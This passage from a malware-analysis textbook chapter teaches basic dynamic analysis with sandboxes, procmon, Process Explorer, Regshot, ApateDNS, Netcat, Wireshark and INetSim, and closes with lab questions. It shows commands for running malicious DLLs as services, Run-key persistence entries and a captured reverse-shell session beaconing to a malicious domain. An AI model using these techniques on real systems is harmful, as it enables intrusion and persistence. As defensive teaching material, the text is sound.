in a binary does not mean the action will actually execute. Dynamic analysis
is also an efficient way to identify malware functionality. For example, if
your malware is a keylogger, dynamic analysis can allow you to locate the
keylogger’s log file on the system, discover the kinds of records it keeps,
decipher where it sends its information, and so on. This kind of insight
would be more difficult to gain using only basic static techniques.
40
Chapter 3
Although dynamic analysis techniques are extremely powerful, they
should be performed only after basic static analysis has been completed,
because dynamic analysis can put your network and system at risk. Dynamic
techniques do have their limitations, because not all code paths may execute
when a piece of malware is run. For example, in the case of command-line
malware that requires arguments, each argument could execute different
program functionality, and without knowing the options you wouldn’t be
able to dynamically examine all of the program’s functionality. Your best
bet will be to use advanced dynamic or static techniques to figure out how
to force the malware to execute all of its functionality. This chapter describes
the basic dynamic analysis techniques.
Sandboxes: The Quick-and-Dirty Approach
Several all-in-one software products can be used to perform basic dynamic
analysis, and the most popular ones use sandbox technology. A sandbox is a
security mechanism for running untrusted programs in a safe environment
without fear of harming “real” systems. Sandboxes comprise virtualized envi-
ronments that often simulate network services in some fashion to ensure that
the software or malware being tested will function normally.
Using a Malware Sandbox
Many malware sandboxes—such as Norman SandBox, GFI Sandbox, Anubis,
Joe Sandbox, ThreatExpert, BitBlaze, and Comodo Instant Malware Analysis—
will analyze malware for free. Currently, Norman SandBox and GFI Sandbox
(formerly CWSandbox) are the most popular among computer-security
professionals.
These sandboxes provide easy-to-understand output and are great for
initial triage, as long as you are willing to submit your malware to the sand-
box websites. Even though the sandboxes are automated, you might choose
not to submit malware that contains company information to a public website.
NOTE
You can purchase sandbox tools for in-house use, but they are extremely expensive.
Instead, you can discover everything that these sandboxes can find using the basic tech-
niques discussed in this chapter. Of course, if you have a lot of malware to analyze, it
might be worth purchasing a sandbox software package that can be configured to pro-
cess malware quickly.
Most sandboxes work similarly, so we’ll focus on one example, GFI
Sandbox. Figure 3-1 shows the table of contents for a PDF report generated
by running a file through GFI Sandbox’s automated analysis. The malware
report includes a variety of details on the malware, such as the network activ-
ity it performs, the files it creates, the results of scanning with VirusTotal, and
so on.
Basic Dynamic Analysis
41
Figure 3-1: GFI Sandbox sample results for win32XYZ.exe
Reports generated by GFI Sandbox vary in the number of sections they
contain, based on what the analysis finds. The GFI Sandbox report has six
sections in Figure 3-1, as follows:
The Analysis Summary section lists static analysis information and a high-
level overview of the dynamic analysis results.
The File Activity section lists files that are opened, created, or deleted for
each process impacted by the malware.
The Created Mutexes section lists mutexes created by the malware.
The Registry Activity section lists changes to the registry.
The Network Activity section includes network activity spawned by the mal-
ware, including setting up a listening port or performing a DNS request.
The VirusTotal Results section lists the results of a VirusTotal scan of the
malware.
Sandbox Drawbacks
Malware sandboxes do have a few major drawbacks. For example, the sand-
box simply runs the executable, without command-line options. If the mal-
ware executable requires command-line options, it will not execute any code
that runs only when an option is provided. In addition, if your subject mal-
ware is waiting for a command-and-control packet to be returned before
launching a backdoor, the backdoor will not be launched in the sandbox.
The sandbox also may not record all events, because neither you nor the
sandbox may wait long enough. For example, if the malware is set to sleep
for a day before it performs malicious activity, you may miss that event. (Most
sandboxes hook the Sleep function and set it to sleep only briefly, but there
is more than one way to sleep, and the sandboxes cannot account for all of
these.)
42
Chapter 3
Other potential drawbacks include the following:
Malware often detects when it is running in a virtual machine, and if a
virtual machine is detected, the malware might stop running or behave
differently. Not all sandboxes take this issue into account.
Some malware requires the presence of certain registry keys or files on the
system that might not be found in the sandbox. These might be required
to contain legitimate data, such as commands or encryption keys.
If the malware is a DLL, certain exported functions will not be invoked
properly, because a DLL will not run as easily as an executable.
The sandbox environment OS may not be correct for the malware. For
example, the malware might crash on Windows XP but run correctly in
Windows 7.
A sandbox cannot tell you what the malware does. It may report basic
functionality, but it cannot tell you that the malware is a custom Security
Accounts Manager (SAM) hash dump utility or an encrypted keylogging
backdoor, for example. Those are conclusions that you must draw on
your own.
Running Malware
Basic dynamic analysis techniques will be rendered useless if you can’t get
the malware running. Here we focus on running the majority of malware
you will encounter (EXEs and DLLs). Although you’ll usually find it simple
enough to run executable malware by double-clicking the executable or
running the file from the command line, it can be tricky to launch mali-
cious DLLs because Windows doesn’t know how to run them automatically.
(We’ll discuss DLL internals in depth in Chapter 7.)
Let’s take a look at how you can launch DLLs to be successful in per-
forming dynamic analysis.
The program rundll32.exe is included with all modern versions of Win-
dows. It provides a container for running a DLL using this syntax:
C:\>rundll32.exe DLLname, Export arguments
The Export value must be a function name or ordinal selected from the
exported function table in the DLL. As you learned in Chapter 1, you can use
a tool such as PEview or PE Explorer to view the Export table. For example,
the file rip.dll has the following exports:
Install
Uninstall
Install appears to be a likely way to launch rip.dll, so let’s launch the mal-
ware as follows:
C:\>rundll32.exe rip.dll, Install
Basic Dynamic Analysis
43
Malware can also have functions that are exported by ordinal—that is,
as an exported function with only an ordinal number, which we discussed
in depth in Chapter 1. In this case, you can still call those functions with
rundll32.exe using the following command, where 5 is the ordinal number
that you want to call, prepended with the # character:
C:\>rundll32.exe xyzzy.dll, #5
Because malicious DLLs frequently run most of their code in DLLMain
(called from the DLL entry point), and because DLLMain is executed whenever
the DLL is loaded, you can often get information dynamically by forcing the
DLL to load using rundll32.exe. Alternatively, you can even turn a DLL into
an executable by modifying the PE header and changing its extension to
force Windows to load the DLL as it would an executable.
To modify the PE header, wipe the IMAGE_FILE_DLL (0x2000) flag from the
Characteristics field in the IMAGE_FILE_HEADER. While this change won’t run any
imported functions, it will run the DLLMain method, and it may cause the mal-
ware to crash or terminate unexpectedly. However, as long as your changes
cause the malware to execute its malicious payload, and you can collect infor-
mation for your analysis, the rest doesn’t matter.
DLL malware may also need to be installed as a service, sometimes with a
convenient export such as InstallService, as listed in ipr32x.dll:
C:\>rundll32 ipr32x.dll,InstallService ServiceName
C:\>net start ServiceName
The ServiceName argument must be provided to the malware so it can be
installed and run. The net start command is used to start a service on a Win-
dows system.
NOTE
When you see a ServiceMain function without a convenient exported function such as
Install or InstallService, you may need to install the service manually. You can do
this by using the Windows sc command or by modifying the registry for an unused ser-
vice, and then using net start on that service. The service entries are located in the
registry at HKLM\SYSTEM\CurrentControlSet\Services.
Monitoring with Process Monitor
Process Monitor, or procmon, is an advanced monitoring tool for Windows
that provides a way to monitor certain registry, file system, network, process,
and thread activity. It combines and enhances the functionality of two legacy
tools: FileMon and RegMon.
Although procmon captures a lot of data, it doesn’t capture everything.
For example, it can miss the device driver activity of a user-mode component
talking to a rootkit via device I/O controls, as well as certain GUI calls, such
as SetWindowsHookEx. Although procmon can be a useful tool, it usually should
not be used for logging network activity, because it does not work consis-
tently across Microsoft Windows versions.
44
Chapter 3
WARNING
Throughout this chapter, we will use tools to test malware dynamically. When you test
malware, be sure to protect your computers and networks by using a virtual machine,
as discussed in the previous chapter.
Procmon monitors all system calls it can gather as soon as it is run.
Because many system calls exist on a Windows machine (sometimes more
than 50,000 events a minute), it’s usually impossible to look through them
all. As a result, because procmon uses RAM to log events until it is told to
stop capturing, it can crash a virtual machine using all available memory. To
avoid this, run procmon for limited periods of time. To stop procmon from
capturing events, choose FileCapture Events. Before using procmon for
analysis, first clear all currently captured events to remove irrelevant data by
choosing EditClear Display. Next, run the subject malware with capture
turned on. After a few minutes, you can discontinue event capture.
The Procmon Display
Procmon displays configurable columns containing information about indi-
vidual events, including the event’s sequence number, timestamp, name of
the process causing the event, event operation, path used by the event, and
result of the event. This detailed information can be too long to fit on the
screen, or it can be otherwise difficult to read. If you find either to be the
case, you can view the full details of a particular event by double-clicking
its row.
Figure 3-2 shows a collection of procmon events that occurred on a
machine running a piece of malware named mm32.exe. Reading the Opera-
tion column will quickly tell you which operations mm32.exe performed on
this system, including registry and file system accesses. One entry of note
is the creation of a file C:\Documents and Settings\All Users\Application Data\
mw2mmgr.txt at sequence number 212 using CreateFile. The word SUCCESS
in the Result column tells you that this operation was successful.
Figure 3-2: Procmon mm32.exe example
Filtering in Procmon
It’s not always easy to find information in procmon when you are looking
through thousands of events, one by one. That’s where procmon’s filtering
capability is key.
Basic Dynamic Analysis
45
You can set procmon to filter on one executable running on the system.
This feature is particularly useful for malware analysis, because you can set a
filter on the piece of malware you are running. You can also filter on individ-
ual system calls such as RegSetValue, CreateFile, WriteFile, or other suspicious
or destructive calls.
When procmon filtering is turned on, it filters through recorded events
only. All recorded events are still available even though the filter shows only a
limited display. Setting a filter is not a way to prevent procmon from consum-
ing too much memory.
To set a filter, choose FilterFilter to open the Filter menu, as shown in
the top image of Figure 3-3. When setting a filter, first select a column to fil-
ter on using the drop-down box at the upper left, above the Reset button.
The most important filters for malware analysis are Process Name, Opera-
tion, and Detail. Next, select a comparator, choosing from options such as Is,
Contains, and Less Than. Finally, choose whether this is a filter to include or
exclude from display. Because, by default, the display will show all system
calls, it is important to reduce the amount displayed.
Figure 3-3: Setting a procmon filter
NOTE
Procmon uses some basic filters by default. For example, it contains a filter that excludes
procmon.exe and one that excludes the pagefile from logging, because it is accessed
often and provides no useful information.
46
Chapter 3
As you can see in the first two rows of Figure 3-3, we’re filtering on Pro-
cess Name and Operation. We’ve added a filter on Process Name equal to
mm32.exe that’s active when the Operation is set to RegSetValue.
After you’ve chosen a filter, click Add for each, and then click Apply. As a
result of applying our filters, the display window shown in the lower image dis-
plays only 11 of the 39,351 events, making it easier for us to see that mm32.exe
performed a RegSetValue of registry key HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run\Sys32V2Controller (sequence number 3 using RegSetValue).
Double-clicking this RegSetValue event will reveal the data written to this loca-
tion, which is the current path to the malware.
If the malware extracted another executable and ran it, don’t worry,
because that information is still there. Remember that the filter controls only
the display. All of the system calls that occurred when you ran the malware
are captured, including system calls from malware that was extracted by the
original executable. If you see any malware extracted, change the filter to dis-
play the extracted name, and then click Apply. The events related to the
extracted malware will be displayed.
Procmon provides helpful automatic filters on its toolbar. The four filters
circled in Figure 3-4 filter by the following categories:
Registry
By examining registry operations, you can tell how a piece of
malware installs itself in the registry.
File system
Exploring file system interaction can show all files that the
malware creates or configuration files it uses.
Process activity
Investigating process activity can tell you whether the
malware spawned additional processes.
Network
Identifying network connections can show you any ports on
which the malware is listening.
All four filters are selected by default. To turn off a filter, simply click the
icon in the toolbar corresponding to the category.
Figure 3-4: Filter buttons for procmon
NOTE
If your malware runs at boot time, use procmon’s boot logging options to install proc-
mon as a startup driver to capture startup events.
Analysis of procmon’s recorded events takes practice and patience, since
many events are simply part of the standard way that executables start up.
The more you use procmon, the easier you will find it to quickly review the
event listing.
Basic Dynamic Analysis
47
Viewing Processes with Process Explorer
The Process Explorer, free from Microsoft, is an extremely powerful task
manager that should be running when you are performing dynamic analysis.
It can provide valuable insight into the processes currently running on a
system.
You can use Process Explorer to list active processes, DLLs loaded by a
process, various process properties, and overall system information. You can
also use it to kill a process, log out users, and launch and validate processes.
The Process Explorer Display
Process Explorer monitors the processes running on a system and shows
them in a tree structure that displays child and parent relationships. For
example, in Figure 3-5 you can see that services.exe is a child process of
winlogon.exe, as indicated by the left curly bracket.
Figure 3-5: Process Explorer examining svchost.exe malware
Process Explorer shows five columns: Process (the process name),
PID (the process identifier), CPU (CPU usage), Description, and Company
Name. The view updates every second. By default, services are highlighted in
pink, processes in blue, new processes in green, and terminated processes in
red. Green and red highlights are temporary, and are removed after the pro-
cess has started or terminated. When analyzing malware, watch the Process
Explorer window for changes or new processes, and be sure to investigate
them thoroughly.
48
Chapter 3
Process Explorer can display quite a bit of information for each process.
For example, when the DLL information display window is active, you can
click a process to see all DLLs it loaded into memory. You can change the
DLL display window to the Handles window, which shows all handles held by
the process, including file handles, mutexes, events, and so on.
The Properties window shown in Figure 3-6 opens when you double-click
a process name. This window can provide some particularly useful informa-
tion about your subject malware. The Threads tab shows all active threads,
the TCP/IP tab displays active connections or ports on which the process is
listening, and the Image tab (opened in the figure) shows the path on disk to
the executable.
Figure 3-6: The Properties window, Image tab
Using the Verify Option
One particularly useful Process Explorer feature is the Verify button on the
Image tab. Click this button to verify that the image on disk is, in fact, the
Microsoft signed binary. Because Microsoft uses digital signatures for most of
its core executables, when Process Explorer verifies that a signature is valid,
you can be sure that the file is actually the executable from Microsoft. This
feature is particularly useful for verifying that the Windows file on disk has
not been corrupted; malware often replaces authentic Windows files with its
own in an attempt to hide.
The Verify button verifies the image on disk rather than in memory,
and it is useless if an attacker uses process replacement, which involves running a
process on the system and overwriting its memory space with a malicious exe-
cutable. Process replacement provides the malware with the same privileges
Basic Dynamic Analysis
49
as the process it is replacing, so that the malware appears to be executing as a
legitimate process, but it leaves a fingerprint: The image in memory will dif-
fer from the image on disk. For example, in Figure 3-6, the svchost.exe process
is verified, yet it is actually malware. We’ll discuss process replacement in
more detail in Chapter 12.
Comparing Strings
One way to recognize process replacement is to use the Strings tab in the
Process Properties window to compare the strings contained in the disk exe-
cutable (image) against the strings in memory for that same executable run-
ning in memory. You can toggle between these string views using the buttons
at the bottom-left corner, as shown in Figure 3-7. If the two string listings are
drastically different, process replacement may have occurred. This string
discrepancy is displayed in Figure 3-7. For example, the string FAVORITES.DAT
appears multiple times in the right half of the figure (svchost.exe in memory),
but it cannot be found in the left half of the figure (svchost.exe on disk).
Figure 3-7: The Process Explorer Strings tab shows strings on disk (left) versus strings in
memory (right) for active svchost.exe.
Using Dependency Walker
Process Explorer allows you to launch depends.exe (Dependency Walker) on
a running process by right-clicking a process name and selecting Launch
Depends. It also lets you search for a handle or DLL by choosing Find
Find Handle or DLL.
The Find DLL option is particularly useful when you find a malicious
DLL on disk and want to know if any running processes use that DLL. The
Verify button verifies the EXE file on disk, but not every DLL loaded during
runtime. To determine whether a DLL is loaded into a process after load
time, you can compare the DLL list in Process Explorer to the imports shown
in Dependency Walker.
50
Chapter 3
Analyzing Malicious Documents
You can also use Process Explorer to analyze malicious documents, such as
PDFs and Word documents. A quick way to determine whether a document
is malicious is to open Process Explorer and then open the suspected mali-
cious document. If the document launches any processes, you should see
them in Process Explorer, and be able to locate the malware on disk via the
Image tab of the Properties window.
NOTE
Opening a malicious document while using monitoring tools can be a quick way to
determine whether a document is malicious; however, you will have success running
only vulnerable versions of the document viewer. In practice, it is best to use intention-
ally unpatched versions of the viewing application to ensure that the exploitation will
be successful. The easiest way to do this is with multiple snapshots of your analysis vir-
tual machine, each with old versions of document viewers such as Adobe Reader and
Microsoft Word.
Comparing Registry Snapshots with Regshot
Listing 3-1 displays a subset of the results generated by Regshot during
malware analysis. Registry snapshots were taken before and after running the
spyware ckr.exe.
Regshot
Comments:
Datetime:
Computer: MALWAREANALYSIS
Username: username
----------------------------------
Keys added: 0
----------------------------------
Regshot (shown in Figure 3-8) is
an open source registry compari-
son tool that allows you to take
and compare two registry snap-
shots.
To use Regshot for malware
analysis, simply take the first shot
by clicking the 1st Shot button,
and then run the malware and
wait for it to finish making any
system changes. Next, take the
second shot by clicking the 2nd
Shot button. Finally, click the
Compare button to compare the
two snapshots.
Figure 3-8: Regshot window
Basic Dynamic Analysis
51
----------------------------------
Values added:3
----------------------------------
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ckr:C:\WINDOWS\system32\
ckr.exe
...
...
----------------------------------
Values modified:2
----------------------------------
HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed: 00 43 7C 25 9C 68 DE 59 C6 C8
9D C3 1D E6 DC 87 1C 3A C4 E4 D9 0A B1 BA C1 FB 80 EB 83 25 74 C4 C5 E2 2F CE
4E E8 AC C8 49 E8 E8 10 3F 13 F6 A1 72 92 28 8A 01 3A 16 52 86 36 12 3C C7 EB
5F 99 19 1D 80 8C 8E BD 58 3A DB 18 06 3D 14 8F 22 A4
...
----------------------------------
Total changes:5
----------------------------------
Listing 3-1: Regshot comparison results
As you can see ckr.exe creates a value at HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run as a persistence mechanism . A certain amount of noise
is typical in these results, because the random-number generator seed is con-
stantly updated in the registry.
As with procmon, your analysis of these results requires patient scanning
to find nuggets of interest.
Faking a Network
Malware often beacons out and eventually communicates with a command-
and-control server, as we’ll discuss in depth in Chapter 14. You can create a
fake network and quickly obtain network indicators, without actually connect-
ing to the Internet. These indicators can include DNS names, IP addresses,
and packet signatures.
To fake a network successfully, you must prevent the malware from real-
izing that it is executing in a virtualized environment. (See Chapter 2 for a
discussion on setting up virtual networks with VMware.) By combining the
tools discussed here with a solid virtual machine network setup, you will
greatly increase your chances of success.
Using ApateDNS
ApateDNS, a free tool from Mandiant (www.mandiant.com/products/research/
mandiant_apatedns/download), is the quickest way to see DNS requests made
by malware. ApateDNS spoofs DNS responses to a user-specified IP address by
listening on UDP port 53 on the local machine. It responds to DNS requests
with the DNS response set to an IP address you specify. ApateDNS can display
the hexadecimal and ASCII results of all requests it receives.
52
Chapter 3
To use ApateDNS, set the IP address you want sent in DNS responses
at and select the interface at . Next, press the Start Server button; this
will automatically start the DNS server and change the DNS settings to
localhost. Next, run your malware and watch as DNS requests appear in
the ApateDNS window. For example, in Figure 3-9, we redirect the DNS
requests made by malware known as RShell. We see that the DNS information
is requested for evil.malwar3.com and that request was made at 13:22:08 .
Figure 3-9: ApateDNS responding to a request for evil.malwar3.com
In the example shown in the figure, we redirect DNS requests to
127.0.0.1 (localhost), but you may want to change this address to point to
something external, such as a fake web server running on a Linux virtual
machine. Because the IP address will differ from that of your Windows mal-
ware analysis virtual machine, be sure to enter the appropriate IP address
before starting the server. By default ApateDNS will use the current gateway
or current DNS settings to insert into DNS responses.
You can catch additional domains used by a malware sample through
the use of the nonexistent domain (NXDOMAIN) option at . Malware will
often loop through the different domains it has stored if the first or second
domains are not found. Using this NXDOMAIN option can trick malware
into giving you additional domains it has in its configuration.
Monitoring with Netcat
Netcat, the “TCP/IP Swiss Army knife,” can be used over both inbound and
outbound connections for port scanning, tunneling, proxying, port forward-
ing, and much more. In listen mode, Netcat acts as a server, while in connect
mode it acts as a client. Netcat takes data from standard input for transmis-
sion over the network. All the data it receives is output to the screen via stan-
dard output.
Let’s look at how you can use Netcat to analyze the malware RShell from
Figure 3-9. Using ApateDNS, we redirect the DNS request for evil.malwar3.com
to our local host. Assuming that the malware is going out over port 80 (a
common choice), we can use Netcat to listen for connections before exe-
cuting the malware.
Malware frequently uses port 80 or 443 (HTTP or HTTPS traffic, respec-
tively), because these ports are typically not blocked or monitored as outbound
connections. Listing 3-2 shows an example.
Basic Dynamic Analysis
53
C:\> nc –l –p 80
POST /cq/frame.htm HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; TWFsd2FyZUh1bnRlcg==;
rv:1.38)
Accept: text/html, application
Accept-Language: en-US, en:q=
Accept-Encoding: gzip, deflate
Keep-Alive: 300
Content-Type: application/x-form-urlencoded
Content-Length
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
Z:\Malware>
Listing 3-2: Netcat example listening on port 80
The Netcat (nc) command shows the options required to listen on a
port. The –l flag means listen, and –p (with a port number) specifies the port
on which to listen. The malware connects to our Netcat listener because we’re
using ApateDNS for redirection. As you can see, RShell is a reverse shell ,
but it does not immediately provide the shell. The network connection first
appears as an HTTP POST request to www.google.com , fake POST data that
RShell probably inserts to obfuscate its reverse shell, because network analysts
frequently look only at the start of a session.
Packet Sniffing with Wireshark
Wireshark is an open source sniffer, a packet capture tool that intercepts and
logs network traffic. Wireshark provides visualization, packet-stream analysis,
and in-depth analysis of individual packets.
Like many tools discussed in this book, Wireshark can be used for both
good and evil. It can be used to analyze internal networks and network usage,
debug application issues, and study protocols in action. But it can also be
used to sniff passwords, reverse-engineer network protocols, steal sensitive
information, and listen in on the online chatter at your local coffee shop.
The Wireshark display has four parts, as shown in Figure 3-10:
The Filter box is used to filter the packets displayed.
The packet listing shows all packets that satisfy the display filter.
The packet detail window displays the contents of the currently
selected packet (in this case, packet 47).
The hex window displays the hex contents of the current packet. The
hex window is linked with the packet detail window and will highlight
any fields you select.
54
Chapter 3
Figure 3-10: Wireshark DNS and HTTP example
To use Wireshark to view the contents of a TCP session, right-click any
TCP packet and select Follow TCP Stream. As you can see in Figure 3-11,
both ends of the conversation are displayed in session order, with different
colors showing each side of the connection.
Figure 3-11: Wireshark’s Follow TCP Stream window
Basic Dynamic Analysis
55
To capture packets, choose CaptureInterfaces and select the interface
you want to use to collect packets. Options include using promiscuous mode
or setting a capture filter.
WARNING
Wireshark is known to have many security vulnerabilities, so be sure to run it in a safe
environment.
Wireshark can help you to understand how malware is performing net-
work communication by sniffing packets as the malware communicates. To
use Wireshark for this purpose, connect to the Internet or simulate an
Internet connection, and then start Wireshark’s packet capture and run
the malware. (You can use Netcat to simulate an Internet connection.)
Chapter 14 discusses protocol analysis and additional uses of Wireshark
in more detail.
Using INetSim
INetSim is a free, Linux-based software suite for simulating common Inter-
net services. The easiest way to run INetSim if your base operating system is
Microsoft Windows is to install it on a Linux virtual machine and set it up on
the same virtual network as your malware analysis virtual machine.
INetSim is the best free tool for providing fake services, allowing you to
analyze the network behavior of unknown malware samples by emulating ser-
vices such as HTTP, HTTPS, FTP, IRC, DNS, SMTP, and others. Listing 3-3
displays all services that INetSim emulates by default, all of which (including
the default ports used) are shown here as the program is starting up.
* dns 53/udp/tcp - started (PID 9992)
* http 80/tcp - started (PID 9993)
* https 443/tcp - started (PID 9994)
* smtp 25/tcp - started (PID 9995)
* irc 6667/tcp - started (PID 10002)
* smtps 465/tcp - started (PID 9996)
* ntp 123/udp - started (PID 10003)
* pop3 110/tcp - started (PID 9997)
* finger 79/tcp - started (PID 10004)
* syslog 514/udp - started (PID 10006)
* tftp 69/udp - started (PID 10001)
* pop3s 995/tcp - started (PID 9998)
* time 37/tcp - started (PID 10007)
* ftp 21/tcp - started (PID 9999)
* ident 113/tcp - started (PID 10005)
* time 37/udp - started (PID 10008)
* ftps 990/tcp - started (PID 10000)
* daytime 13/tcp - started (PID 10009)
* daytime 13/udp - started (PID 10010)
* echo 7/tcp - started (PID 10011)
* echo 7/udp - started (PID 10012)
* discard 9/udp - started (PID 10014)
56
Chapter 3
* discard 9/tcp - started (PID 10013)
* quotd 17/tcp - started (PID 10015)
* quotd 17/udp - started (PID 10016)
* chargen 19/tcp - started (PID 10017)
* dummy 1/udp - started (PID 10020)
* chargen 19/udp - started (PID 10018)
* dummy 1/tcp - started (PID 10019)
Listing 3-3: INetSim default emulated services
INetSim does its best to look like a real server, and it has many easily con-
figurable features to ensure success. For example, by default, it returns the
banner of Microsoft IIS web server if is it scanned.
Some of INetSim’s best features are built into its HTTP and HTTPS
server simulation. For example, INetSim can serve almost any file requested.
For example, if a piece of malware requests a JPEG from a website to con-
tinue its operation, INetSim will respond with a properly formatted JPEG.
Although that image might not be the file your malware is looking for, the
server does not return a 404 or another error, and its response, even if incor-
rect, can keep the malware running.
INetSim can also record all inbound requests and connections, which
you’ll find particularly useful for determining whether the malware is con-
nected to a standard service or to see the requests it is making. And INetSim
is extremely configurable. For example, you can set the page or item returned
after a request, so if you realize that your subject malware is looking for a par-
ticular web page before it will continue execution, you can provide that page.
You can also modify the port on which various services listen, which can be
useful if malware is using nonstandard ports.
And because INetSim is built with malware analysis in mind, it offers
many unique features, such as its Dummy service, a feature that logs all data
received from the client, regardless of the port. The Dummy service is most
useful for capturing all traffic sent from the client to ports not bound to any
other service module. You can use it to record all ports to which the malware
connects and the corresponding data that is sent. At least the TCP hand-
shake will complete, and additional data can be gathered.
Basic Dynamic Tools in Practice
All the tools discussed in this chapter can be used in concert to maximize
the amount of information gleaned during dynamic analysis. In this section,
we’ll look at all the tools discussed in the chapter as we present a sample
setup for malware analysis. Your setup might include the following:
1.
Running procmon and setting a filter on the malware executable name
and clearing out all events just before running.
2.
Starting Process Explorer.
3.
Gathering a first snapshot of the registry using Regshot.
Basic Dynamic Analysis
57
4.
Setting up your virtual network to your liking using INetSim and
ApateDNS.
5.
Setting up network traffic logging using Wireshark.
Figure 3-12 shows a diagram of a virtual network that can be set up for
malware analysis. This virtual network contains two hosts: the malware analy-
sis Windows virtual machine and the Linux virtual machine running INetSim.
The Linux virtual machine is listening on many ports, including HTTPS,
FTP, and HTTP, through the use of INetSim. The Windows virtual machine
is listening on port 53 for DNS requests through the use of ApateDNS. The
DNS server for the Windows virtual machine has been configured to local-
host (127.0.0.1). ApateDNS is configured to redirect you to the Linux virtual
machine (192.168.117.169).
If you attempt to browse to a website using the Windows virtual machine,
the DNS request will be resolved by ApateDNS redirecting you to the Linux
virtual machine. The browser will then perform a GET request over port 80 to
the INetSim server listening on that port on the Linux virtual machine.
Figure 3-12: Example of a virtual network
Let’s see how this setup would work in practice by examining the mal-
ware msts.exe. We complete our initial setup and then run msts.exe on our
malware analysis virtual machine. After some time, we stop event capture
with procmon and run a second snapshot with Regshot. At this point we
begin analysis as follows:
1.
Examine ApateDNS to see if DNS requests were performed. As shown in
Figure 3-13, we notice that the malware performed a DNS request for
www.malwareanalysisbook.com.
Figure 3-13: ApateDNS request for
www.malwareanalysisbook.com
Virtual Network
Windows Virtual Machine
IP Address = 192.168.117.170
DNS Server = 127.0.0.1
Browser DNS Request
Browser HTTP GET
Linux Virtual Machine
INetSim
IP Address = 192.168.117.169
DNS: 53
ApateDNS Redirect
192.168.117.169
HTTPS: 443
FTP: 21
HTTP: 80
etc.
58
Chapter 3
2.
Review the procmon results for file system modifications. In the
procmon results shown in Figure 3-14, we see CreateFile and WriteFile
(sequence numbers 141 and 142) operations for C:\WINDOWS\system32\
winhlp2.exe. Upon further investigation, we compare winhlp2.exe to
msts.exe and see that they are identical. We conclude that the malware
copies itself to that location.
Figure 3-14: Procmon output with the msts.exe filter set
3.
Compare the two snapshots taken with Regshot to identify changes.
Reviewing the Regshot results, shown next, we see that the malware
installed the autorun registry value winhlp at HKLM\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run location. The data written to that value is
where the malware copied itself (C:\WINDOWS\system32\winhlp2.exe),
and that newly copied binary will execute upon system reboot.
Values added:3
----------------------------------
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winhlp: C:\WINDOWS\system32\winhlp2.exe
4.
Use Process Explorer to examine the process to determine whether it cre-
ates mutexes or listens for incoming connections. The Process Explorer
output in Figure 3-15 shows that msts.exe creates a mutex (also known as a
mutant) named Evil1 . We discuss mutexes in depth in Chapter 7, but
you should know that msts.exe likely created the mutex to ensure that only
one version of the malware is running at a time. Mutexes can provide an
excellent fingerprint for malware if they are unique enough.
5.
Review the INetSim logs for requests and attempted connections on
standard services. The first line in the INetSim logs (shown next) tells us
that the malware communicates over port 443, though not with standard
Secure Sockets Layer (SSL), as shown next in the reported errors at .
[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043] connect
[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043]
Error setting up SSL: SSL accept attempt failed with unknown error
Error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol
[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043] disconnect
Basic Dynamic Analysis
59
Figure 3-15: Process Explorer’s examination of an active msts.exe process
6.
Review the Wireshark capture for network traffic generated by the mal-
ware. By using INetSim while capturing with Wireshark, we can capture
the TCP handshake and the initial data packets sent by the malware. The
contents of the TCP stream sent over port 443, as shown in Figure 3-16,
shows random ACSII data, which is often indicative of a custom protocol.
When this happens, your best bet is to run the malware several more
times to look for any consistency in the initial packets of the connection.
(The resulting information could be used to draft a network-based signa-
ture, skills that we explore in Chapter 14.)
Figure 3-16: Wireshark showing the custom network protocol
60
Chapter 3
Conclusion
Basic dynamic analysis of malware can assist and confirm your basic static
analysis findings. Most of the tools described in this chapter are free and easy
to use, and they provide considerable detail.
However, basic dynamic analysis techniques have their deficiencies, so
we won’t stop here. For example, to understand the networking component
in the msts.exe fully, you would need to reverse-engineer the protocol to
determine how best to continue your analysis. The next step is to perform
advanced static analysis techniques with disassembly and dissection at the
binary level, which is discussed in the next chapter.
Basic Dynamic Analysis
61
L A B S
Lab 3-1
Analyze the malware found in the file Lab03-01.exe using basic dynamic analy-
sis tools.
Questions
1.
What are this malware’s imports and strings?
2.
What are the malware’s host-based indicators?
3.
Are there any useful network-based signatures for this malware? If so,
what are they?
Lab 3-2
Analyze the malware found in the file Lab03-02.dll using basic dynamic analy-
sis tools.
Questions
1.
How can you get this malware to install itself?
2.
How would you get this malware to run after installation?
3.
How can you find the process under which this malware is running?
4.
Which filters could you set in order to use procmon to glean
information?
5.
What are the malware’s host-based indicators?
6.
Are there any useful network-based signatures for this malware?
Lab 3-3
Execute the malware found in the file Lab03-03.exe while monitoring it using
basic dynamic analysis tools in a safe environment.
Questions
1.
What do you notice when monitoring this malware with Process
Explorer?
2.
Can you identify any live memory modifications?
3.
What are the malware’s host-based indicators?
4.
What is the purpose of this program?
62
Chapter 3
Lab 3-4
Analyze the malware found in the file Lab03-04.exe using basic dynamic analy-
sis tools. (This program is analyzed further in the Chapter 9 labs.)
Questions
1.
What happens when you run this file?
2.
What is causing the roadblock in dynamic analysis?
3.
Are there other ways to run this program?
PART 2
A D V A N C E D S T A T I C A N A L Y S I S
A C R A S H C O U R S E I N X 8 6
D I S A S S E M B L Y
As discussed in previous chapters, basic static and
dynamic malware analysis methods are good for ini-
tial triage, but they do not provide enough informa-
tion to analyze malware completely.
Basic static techniques are like looking at the outside of a body during an
autopsy. You can use static analysis to draw some preliminary conclusions,
but more in-depth analysis is required to get the whole story. For example,
you might find that a particular function is imported, but you won’t know
how it’s used or whether it’s used at all.
Basic dynamic techniques also have shortcomings. For example, basic
dynamic analysis can tell you how your subject malware responds when it
receives a specially designed packet, but you can learn the format of that
packet only by digging deeper. That’s where disassembly comes in, as you’ll
learn in this chapter.
Disassembly is a specialized skill that can be daunting to those new to
programming. But don’t be discouraged; this chapter will give you a basic
understanding of disassembly to get you off on the right foot.
66
Chapter 4
Levels of Abstraction
